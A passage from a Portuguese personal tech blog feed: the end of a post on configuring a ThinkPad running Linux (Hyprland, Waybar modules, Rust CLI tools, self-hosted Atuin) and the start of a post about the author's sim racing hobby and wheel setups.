    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>No idle, título mostra só o pwd. Com um comando rodando, <code>trap DEBUG</code> pega o <code>BASH_COMMAND</code> em execução e atualiza o título. Integra com o <code>hyprland/window</code> do waybar pra mostrar tudo lá.</p>
<p>Pro toolbelt Rust moderno, a lista:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S --needed <span class="se">\
</span></span></span><span class="line"><span class="cl">  eza bat fd ripgrep sd git-delta dust procs bottom duf tokei hyperfine <span class="se">\
</span></span></span><span class="line"><span class="cl">  zoxide atuin tldr starship</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>eza</code> substitui <code>ls</code>. <code>bat</code> substitui <code>cat</code> com syntax highlight. <code>fd</code> substitui <code>find</code>. <code>ripgrep</code> substitui <code>grep</code>. <code>sd</code> substitui <code>sed</code>. <code>delta</code> pluga no git pra diff side-by-side colorido. <code>dust</code> pro <code>du</code> visual. <code>procs</code> pro <code>ps</code>. <code>btm</code> (bottom) pro <code>top</code>. <code>duf</code> pro <code>df</code>. <code>tokei</code> conta linhas de código. <code>hyperfine</code> pra benchmark de comando. <code>zoxide</code> é <code>cd</code> com memória (muito útil). <code>atuin</code> é history do shell com sync criptografado (aponto pro meu home server via <code>sync_address = &quot;http://192.168.0.90:8888&quot;</code>). <code>starship</code> é o prompt. <code>tldr</code> é man page em 10 linhas.</p>
<p>O <code>atuin key</code> tem que ser backupeado offline. Se você perde, perde o histórico criptografado. Salvei no meu Bitwarden self-hosted (Vaultwarden), que eu documentei no <a href="/2025/09/10/omarchy-2-0-bitwarden-self-hosted-vaultwarden/">artigo sobre Bitwarden self-hosted</a>.</p>
<p>O git passa diff pelo delta:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[core]        pager = delta
[interactive] diffFilter = delta --color-only
[delta]       navigate side-by-side line-numbers hyperlinks, light=false
[merge]       conflictstyle = zdiff3</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>Hyprland e Waybar<span class="hx:absolute hx:-mt-20" id="hyprland-e-waybar"></span>
    <a href="#hyprland-e-waybar" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Customizações visuais e de UX que fiz em cima do default.</p>
<p>No <code>hypr/looknfeel.conf</code>, gaps menores (2/5 vs 5/10 do default), animação de slide entre workspaces, VFR ligado (reduz consumo quando a tela está estática), <code>allow_session_lock_restore</code> (se o hyprlock crasha, volta pra tela de lock em vez de jogar pro desktop).</p>
<p>No <code>hypr/bindings.conf</code>:</p>
<table>
  <thead>
      <tr>
          <th>Binding</th>
          <th>Ação</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>Super+B</code></td>
          <td>Brave</td>
      </tr>
      <tr>
          <td><code>Super+L</code></td>
          <td>Lock screen (default era layout toggle)</td>
      </tr>
      <tr>
          <td><code>Super+Ctrl+L</code></td>
          <td>Layout toggle (movi pra cá)</td>
      </tr>
      <tr>
          <td><code>Super+Ctrl+P</code></td>
          <td>Toggle TLP perf mode</td>
      </tr>
  </tbody>
</table>
<p>No Waybar, três módulos custom que recomendo:</p>
<p><strong>Título de janela</strong>: o módulo <code>hyprland/window</code> mostra o que tá focado. No bash, o PROMPT_COMMAND atualiza o título pra algo como &ldquo;~/Projects/blog — hugo server&rdquo;. Então no waybar aparece o diretório e o comando em execução, sem eu precisar olhar pro terminal.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/hypr---window-title-on-waybar.png" alt="Waybar mostrando workspaces à esquerda e o título da janela focada com o pwd e comando em execução"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/hypr---another-window-title-on-waybar.png" alt="Outro exemplo do título da janela no waybar, dessa vez mostrando “Claude Code”"  loading="lazy" /></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsonc" data-lang="jsonc"><span class="line"><span class="cl"><span class="s2">&#34;hyprland/window&#34;</span><span class="err">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;format&#34;</span><span class="p">:</span> <span class="s2">&#34;{title}&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;max-length&#34;</span><span class="p">:</span> <span class="mi">50</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;rewrite&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="nt">&#34;(.{47}).+&#34;</span><span class="p">:</span> <span class="s2">&#34;$1…&#34;</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>Perf mode</strong>: o <code>custom/perf</code> executa um script que lê o estado do TLP e mostra um ícone:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsonc" data-lang="jsonc"><span class="line"><span class="cl"><span class="s2">&#34;custom/perf&#34;</span><span class="err">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;exec&#34;</span><span class="p">:</span> <span class="s2">&#34;~/.config/scripts/perf-waybar.sh&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;interval&#34;</span><span class="p">:</span> <span class="mi">3</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;format&#34;</span><span class="p">:</span> <span class="s2">&#34;{}&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;on-click&#34;</span><span class="p">:</span> <span class="s2">&#34;~/.config/scripts/perf-toggle.sh&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Vazio em balanced, 󰓅 PERF em performance, 󰌪 ECO em low-power. Clique alterna. Útil pra ver rapidamente em que modo a máquina está.</p>
<p><strong>Claudebar</strong>: integrei o <a href="https://github.com/alfredopiquet/claudebar"target="_blank" rel="noopener">claudebar</a> num módulo custom que mostra a % de uso da sessão do Claude Code e o gasto extra inline no waybar. Sem ter que abrir outra janela.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/hypr---power-profile-and-claudebar-next-to-traybar.png" alt="Claudebar mostrando 9%, 1h16m restantes e $1120.74 de uso extra, seguido do indicador PERF e o tray"  loading="lazy" /></p>
<p>O clock:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsonc" data-lang="jsonc"><span class="line"><span class="cl"><span class="s2">&#34;clock&#34;</span><span class="err">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;format&#34;</span><span class="p">:</span> <span class="s2">&#34;{:L%A %d %B - %H:%M}&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;format-alt&#34;</span><span class="p">:</span> <span class="s2">&#34;{:L%A W%V %Y - %H:%M}&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Exibe &ldquo;quinta 17 abril - 14:32&rdquo; por padrão, clique alterna pra &ldquo;quinta W16 2026 - 14:32&rdquo; com número da semana do ano, útil pra planejar artigos e tarefas.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/18/thinkpad/hypr---better-date-time-on-waybar-center.png" alt="Clock do waybar no centro com data e hora em português"  loading="lazy" /></p>
<h3>Atuin self-hosted<span class="hx:absolute hx:-mt-20" id="atuin-self-hosted"></span>
    <a href="#atuin-self-hosted" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Atuin roda no meu home server em 192.168.0.90:8888. Criei uma conta separada pro notebook (<code>akitaonrails-thinkpad</code>), não misturo histórico com desktop de propósito. <code>atuin sync</code> roda a cada 5 minutos e todo histórico é criptografado antes de ir pro server. O server não vê os comandos, só vê bytes criptografados.</p>
<h2>Conclusão: escolhendo notebook pra Linux<span class="hx:absolute hx:-mt-20" id="conclusão-escolhendo-notebook-pra-linux"></span>
    <a href="#conclus%c3%a3o-escolhendo-notebook-pra-linux" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se tem uma coisa que eu aprendi nessa jornada: escolher notebook pra rodar Linux confortavelmente não é trivial. Precisa checar a <a href="https://wiki.archlinux.org/title/Laptop"target="_blank" rel="noopener">ArchWiki</a> pelo modelo específico antes de comprar. A do <a href="https://wiki.archlinux.org/title/Lenovo_ThinkPad_T14s_%28AMD%29_Gen_6"target="_blank" rel="noopener">T14s Gen 6 AMD</a>, por exemplo, cataloga cada peculiaridade de hardware e como contornar. Sem essa referência, você descobre os problemas instalando.</p>
<p>Regra que sigo: nunca comprar modelo recém-lançado. Deixar passar uns 6 a 12 meses depois do lançamento. Isso dá tempo pra comunidade iron out os bugs, pros drivers entrarem no mainline, pra ArchWiki ter uma página decente, pra libfprint incluir o sensor de digital, pro kernel cobrir o WiFi e a câmera IR. Comprar de primeira é assumir o papel de tester beta.</p>
<p>Marcas com trilha Linux decente: Lenovo (especialmente Thinkpad, eles oferecem Ubuntu e Fedora pré-instalados), Dell (a linha XPS e Latitude), Asus (Zenbook e ROG têm suporte razoável), Framework (fábrica direto pra Linux). Mac qualquer geração recente é cortado do Linux mainline ou via Asahi com caveats.</p>
<p>O Thinkpad T14 Gen 6 não é o notebook mais bonito que eu podia ter comprado. Mas é rugged, tem as portas certas, o sensor de digital funciona, e a carcaça plástica aceita cair, arranhar, viajar na mala sem eu ficar nervoso. Pra servir de companion de debug remoto, é o que eu precisava. Se esse é o seu perfil de uso também, recomendo. Se você quer OLED e metal, vai de Zenbook ou de T14s. Cada premium tem seu compromisso, nenhum notebook Linux em 2026 é perfeito.</p>
<p>Tudo que descrevi aqui ficou versionado num repo privado meu. Se eu precisar reinstalar amanhã, rodo meia dúzia de passos em ordem e volto ao mesmo lugar. Esse é o ponto todo de manter configuração em Git: notebook é commodity, config é minha.</p>
]]></content:encoded><category>omarchy</category><category>linux</category><category>hardware</category><category>reviews</category></item><item><title>Meu Cockpit de Sim Racing - Formula FX1</title><link>https://akitaonrails.github.io/2026/04/01/meu-cockpit-de-sim-racing-formula-fx1/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/04/01/meu-cockpit-de-sim-racing-formula-fx1/</guid><pubDate>Wed, 01 Apr 2026 17:00:00 -0300</pubDate><description>&lt;p&gt;Eu gosto de carros desde que me entendo por gente. Meu primeiro contato real com jogos de corrida foi nos fliperamas dos anos 80 e 90. E quando eu digo &amp;ldquo;real&amp;rdquo;, eu digo sentar num cabinet com volante, pedal, banco de plástico duro e a tela curvando na sua frente. &lt;a href="https://en.wikipedia.org/wiki/Out_Run"target="_blank" rel="noopener"&gt;OutRun&lt;/a&gt; (1986), &lt;a href="https://en.wikipedia.org/wiki/Rad_Mobile"target="_blank" rel="noopener"&gt;Rad Mobile&lt;/a&gt; (1991), &lt;a href="https://en.wikipedia.org/wiki/Virtua_Racing"target="_blank" rel="noopener"&gt;Virtua Racing&lt;/a&gt; (1992), &lt;a href="https://en.wikipedia.org/wiki/Ridge_Racer"target="_blank" rel="noopener"&gt;Ridge Racer&lt;/a&gt; (1993), &lt;a href="https://en.wikipedia.org/wiki/Daytona_USA_%28video_game%29"target="_blank" rel="noopener"&gt;Daytona USA&lt;/a&gt; (1994), &lt;a href="https://en.wikipedia.org/wiki/Scud_Race"target="_blank" rel="noopener"&gt;Scud Race&lt;/a&gt; (1996). Cada um desses jogos me marcou. Mas o Daytona USA ficou gravado de outro jeito. Aquele cabinet twin, duas máquinas lado a lado, a música &amp;ldquo;DAYTONAAA, let&amp;rsquo;s go away&amp;rdquo; estourando no fliperama, o volante vibrando na mão. Eu lembro disso até hoje.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Eu gosto de carros desde que me entendo por gente. Meu primeiro contato real com jogos de corrida foi nos fliperamas dos anos 80 e 90. E quando eu digo &ldquo;real&rdquo;, eu digo sentar num cabinet com volante, pedal, banco de plástico duro e a tela curvando na sua frente. <a href="https://en.wikipedia.org/wiki/Out_Run"target="_blank" rel="noopener">OutRun</a> (1986), <a href="https://en.wikipedia.org/wiki/Rad_Mobile"target="_blank" rel="noopener">Rad Mobile</a> (1991), <a href="https://en.wikipedia.org/wiki/Virtua_Racing"target="_blank" rel="noopener">Virtua Racing</a> (1992), <a href="https://en.wikipedia.org/wiki/Ridge_Racer"target="_blank" rel="noopener">Ridge Racer</a> (1993), <a href="https://en.wikipedia.org/wiki/Daytona_USA_%28video_game%29"target="_blank" rel="noopener">Daytona USA</a> (1994), <a href="https://en.wikipedia.org/wiki/Scud_Race"target="_blank" rel="noopener">Scud Race</a> (1996). Cada um desses jogos me marcou. Mas o Daytona USA ficou gravado de outro jeito. Aquele cabinet twin, duas máquinas lado a lado, a música &ldquo;DAYTONAAA, let&rsquo;s go away&rdquo; estourando no fliperama, o volante vibrando na mão. Eu lembro disso até hoje.</p>
<p><img src="https://upload.wikimedia.org/wikipedia/commons/2/24/DaytonaUSA_arcade_SaoPaulo.jpg" alt="Máquinas de Daytona USA num shopping de São Paulo — exatamente o tipo de cabinet twin que ficou gravado na minha memória"  loading="lazy" /></p>
<p>Mas o jogo que realmente me viciou no gênero simcade foi o <a href="https://en.wikipedia.org/wiki/Gran_Turismo_%28video_game%29"target="_blank" rel="noopener">Gran Turismo</a> original, em 1997, no PlayStation 1. &ldquo;The Real Driving Simulator&rdquo; na capa. Eu joguei aquele jogo obsessivamente. Na mesma época eu assistia o anime <a href="https://en.wikipedia.org/wiki/Initial_D"target="_blank" rel="noopener">Initial D</a>, que estreou em 1998 no Japão. Comprei todos os mangás e li tudo do começo ao fim. A história do Takumi Fujiwara descendo o Monte Akina de madrugada entregando tofu no AE86 do pai dele é, pra mim, uma das melhores histórias de automobilismo já contadas em qualquer mídia.</p>
<p>Até hoje eu acompanho o trabalho do Shuichi Shigeno. Depois de Initial D veio <a href="https://kodansha.us/series/mf-ghost/"target="_blank" rel="noopener">MF Ghost</a> (2017-2025), que se passa no mesmo universo mas num futuro próximo onde carros a combustão viraram peça de museu. E agora, desde julho de 2025, estou lendo <a href="https://kmanga.kodansha.com/title/10664/episode/360584"target="_blank" rel="noopener">Subaru and Subaru</a>, a continuação direta que une os universos de Initial D e MF Ghost com duas protagonistas chamadas Subaru — uma de Gunma, outra de Kanagawa — competindo numa nova série de corridas. É o Shigeno no melhor dele.</p>
<p><a href="https://kmanga.kodansha.com/title/10664/episode/360584"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/subaru-x-subaru-cover.png" alt="Subaru and Subaru — o novo mangá do Shigeno, continuação direta de Initial D e MF Ghost"  loading="lazy" /></a></p>
<p>Dois anos atrás eu viajei pro Japão com minha namorada e fiz questão de ir na <a href="https://en.wikipedia.org/wiki/Daikoku_Parking_Area"target="_blank" rel="noopener">Daikoku PA</a>, o famoso parking area na Shuto Expressway em Yokohama onde a cultura JDM se concentra. Como fã antigo de <a href="https://store.steampowered.com/app/2634950/Tokyo_Xtreme_Racer/"target="_blank" rel="noopener">Tokyo Xtreme Racer</a>, da Genki, eu precisava ver Daikoku com meus próprios olhos pelo menos uma vez. E não decepcionou. Em vez de alugar carro, a gente fechou um tour com um guia local no Nissan GT-R preparado dele. Melhor assim. No caminho ele foi explicando a história da Wangan, como a cena funciona, o que é exagero de YouTube e o que é real. Quando chegamos numa sexta à noite e eu vi aquilo tudo ao vivo — Skyline R34, RX-7, Supra, GT-R, kei trucks tunados, bosozoku insanos — a sensação foi estranha no melhor sentido. Parecia Tokyo Xtreme Racer, só que com cheiro de combustível no ar e barulho de escapamento de verdade.</p>
<p>E tem outro detalhe: eu estou jogando o reboot novo de <a href="https://store.steampowered.com/app/2634950/Tokyo_Xtreme_Racer/"target="_blank" rel="noopener">Tokyo Xtreme Racer</a> no PC, e é exatamente o tipo de jogo que entende o próprio público. Campanha single-player forte, progressão viciante, clima certo, e sem aquelas palhaçadas de loot box. Recomendo fácil. Pelo mesmo motivo, eu também estou esperando muito o <a href="https://forza.net/forzahorizon6"target="_blank" rel="noopener">Forza Horizon 6</a>, que dessa vez vai se passar no Japão. Eu já fiz a pré-compra e estou louco pra jogar isso no cockpit novo.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/daikoku---nissan.jpg" alt="Na Daikoku PA com um GT-R modificado"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/daikoku---trueno.jpg" alt="Com um AE86 Trueno na Daikoku PA — o carro do Takumi"  loading="lazy" /></p>
<h2>Dirigindo de verdade<span class="hx:absolute hx:-mt-20" id="dirigindo-de-verdade"></span>
    <a href="#dirigindo-de-verdade" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Agora que estou semi-aposentado, tive a oportunidade de levar meu Mercedes em track days. Já andei no <a href="https://en.wikipedia.org/wiki/Aut%C3%B3dromo_Jos%C3%A9_Carlos_Pace"target="_blank" rel="noopener">Autódromo de Interlagos</a> (o Autódromo José Carlos Pace), circuito de 4.309 km em São Paulo que sedia o GP de F1 do Brasil desde 1973, famoso pelas curvas do S do Senna e pelo desnível maluco do circuito. Também andei no <a href="https://www.velocittapark.com.br/"target="_blank" rel="noopener">Autódromo Velocitta</a>, um circuito moderno de 3.443 km inaugurado em 2014 em Mogi Guaçu, interior de São Paulo, que recebe a Stock Car Brasil e a Porsche Cup.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/velocitta.jpg" alt="No Velocitta com meu Mercedes num track day da AMG"  loading="lazy" /></p>
<p>Em Las Vegas eu já dirigi super carros naquelas experiências de pista. E quando viajei com minha namorada pra Gramado, no RS, fomos na <a href="https://supercarros.cc/"target="_blank" rel="noopener">Super Carros</a>, que fica na Av. das Hortênsias 4635. Eles têm um galpão de 2.400 m² com mais de 50 carros — Ferraris, Lamborghinis, Porsches, GT-Rs, Corvettes, muscle cars americanos. Você escolhe o carro, sai com um instrutor, e dirige um percurso de uns 17 km entre Gramado e Canela. Eu peguei um Nissan GT-R e uma Ferrari California.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/gramado---gtr.jpg" alt="Com um GT-R em Gramado"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/gramado---ferrari.jpg" alt="Com uma Ferrari California em Gramado"  loading="lazy" /></p>
<p>Três anos atrás eu também fui pra Abu Dhabi com minha namorada e fomos no Ferrari World, que tem alguns dos melhores simuladores de corrida que eu já experimentei. Plataforma hidráulica com 6 graus de liberdade, cockpit de F1, a coisa toda. Eu sempre adorei testar simuladores onde quer que eu vá.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/ferrari-park.jpg" alt="Simulador de F1 com plataforma hidráulica no Ferrari World em Abu Dhabi"  loading="lazy" /></p>
<p>Mas dirigir carros de verdade em pistas de verdade é um hobby muito caro. Pneus, combustível, seguro, manutenção, inscrição. E o mais importante: eu sou introvertido. Prefiro estar sozinho. Meu cockpit de simulador é perfeito pra quando eu quero dirigir sem ter que lidar com ninguém. É por isso que eu gosto tanto de rally — sou eu, o co-driver virtual, e a estrada. Nada mais.</p>
<h2>Os jogos que eu jogo<span class="hx:absolute hx:-mt-20" id="os-jogos-que-eu-jogo"></span>
    <a href="#os-jogos-que-eu-jogo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Sei que a maioria das pessoas que montam um cockpit como esse fazem pra jogar simuladores sérios — iRacing, Assetto Corsa Competizione, Automobilista 2. Eu respeito, mas não é minha praia. Não gosto de jogar online com outras pessoas. Não tenho nenhuma intenção de começar uma carreira de live streaming. Isso é puramente pro meu divertimento.</p>
<p>Atualmente eu jogo Gran Turismo 7 no PS5, <a href="https://store.steampowered.com/app/2440510/Forza_Motorsport/"target="_blank" rel="noopener">Forza Motorsport</a> (o 8, de 2023) no PC, mas onde eu me divirto mais é nos jogos de rally: <a href="https://store.steampowered.com/app/1849250/EA_SPORTS_WRC/"target="_blank" rel="noopener">EA SPORTS WRC</a>, <a href="https://store.steampowered.com/app/1462810/WRC_10_FIA_World_Rally_Championship/"target="_blank" rel="noopener">WRC 10</a> e <a href="https://store.steampowered.com/app/690790/DiRT_Rally_20/"target="_blank" rel="noopener">DiRT Rally 2.0</a>. Minha primeira experiência com Forza foi no Xbox One com o Forza Motorsport 5 e depois Forza Horizon 4, que me prendeu por centenas de horas.</p>
<p>E eu tenho um carinho enorme por jogos retro. O Colin McRae Rally original de 1998 no PS1 foi meu primeiro jogo de rally. Mas o meu favorito de todos os tempos é o Colin McRae Rally 2.0 (2000), também no PS1. Recentemente eu completei a campanha inteira de novo na versão de PC — dá pra achar repacks que rodam em alta resolução e widescreen, muito melhor que as versões originais de PlayStation. Recomendo pra qualquer um dos títulos da série.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/colin-mcrae-rally-2-gameplay.jpg" alt="Colin McRae Rally 2.0 rodando em widescreen no PC — neve na Suécia com o Ford Focus"  loading="lazy" /></p>
<p>Depois vieram Colin McRae 3 (2002), Colin McRae Rally 04 (2003) e Colin McRae 2005 (2004). Outros arcades que eu revisito com frequência: OutRun 2 SP (2004) e OutRun 2006: Coast 2 Coast (2006) — o melhor OutRun já feito, na minha opinião.</p>
<p>Mas meu jogo do ano, disparado, é o <a href="https://store.steampowered.com/app/3218630/Super_Woden_Rally_Edge/"target="_blank" rel="noopener">Super Woden: Rally Edge</a>. Um indie feito por um desenvolvedor solo (ViJuDa, da Espanha) que lançou em janeiro de 2026 por menos de R$ 60. Oito países, mais de 80 carros, modo carreira, multiplayer local split-screen pra até 4 jogadores, leaderboards online. A câmera atrás do carro em vez do top-down dos Super Woden GP anteriores fez toda a diferença. 96% de reviews positivos no Steam com mais de 1.300 avaliações. É o tipo de jogo que mostra que você não precisa de orçamento milionário pra fazer algo incrível.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/super-woden-rally-edge.jpg" alt="Super Woden: Rally Edge — indie feito por um dev solo que compete com os grandes"  loading="lazy" /></p>
<h2>A evolução do meu setup de volante<span class="hx:absolute hx:-mt-20" id="a-evolução-do-meu-setup-de-volante"></span>
    <a href="#a-evolu%c3%a7%c3%a3o-do-meu-setup-de-volante" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>Era Logitech G29 (~2015-2021)<span class="hx:absolute hx:-mt-20" id="era-logitech-g29-2015-2021"></span>
    <a href="#era-logitech-g29-2015-2021" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Eu sempre quis um volante de corrida. Comecei há mais de 15 anos com algo equivalente ao volante de entrada da Logitech, um G29. O G29 é um bom volante pra começar — force feedback por engrenagens, pedais com embreagem, 900 graus de rotação. Mas o force feedback dele é barulhento e meio grosseiro. Você sente as engrenagens girando.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/logitech-g29-and-myself.jpeg" alt="Eu jogando com o Logitech G29 no sofá — o começo de tudo"  loading="lazy" /></p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/logitech-g29-with-support.jpg" alt="O G29 com suporte simples na frente do sofá"  loading="lazy" /></p>
<h3>Era Thrustmaster T300RS + Suporte SXT V2 (~2021-2024)<span class="hx:absolute hx:-mt-20" id="era-thrustmaster-t300rs--suporte-sxt-v2-2021-2024"></span>
    <a href="#era-thrustmaster-t300rs--suporte-sxt-v2-2021-2024" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Por volta de 2021 eu fiz o upgrade pro <a href="https://www.thrustmaster.com/products/t300rs-gt-edition/"target="_blank" rel="noopener">Thrustmaster T300RS</a>, um volante por correia que é um salto enorme em relação ao Logitech. O force feedback é muito mais suave e preciso. E comprei o suporte <a href="https://loja.cockpitextremeracing.com.br/products/suporte-para-volantes-sxt-v2?variant=51111119454489"target="_blank" rel="noopener">Extreme Sim Racing SXT V2</a>, que é bem mais robusto que aqueles suportes de mesa genéricos.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/thrustmaster-with-support.jpg" alt="O Thrustmaster T300RS montado no suporte SXT V2"  loading="lazy" /></p>
<p>Primeiro eu montei o setup na frente do meu PC desktop, que na época tinha uma RTX 3090. Funcionava bem, mas era muito trabalhoso ficar montando e desmontando o suporte e os cabos toda vez que eu queria jogar.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/cockpit/thrustmaster-with-pc.jpg" alt="O Thrustmaster na frente do PC desktop — funcional mas trabalhoso"  loading="lazy" /></p>
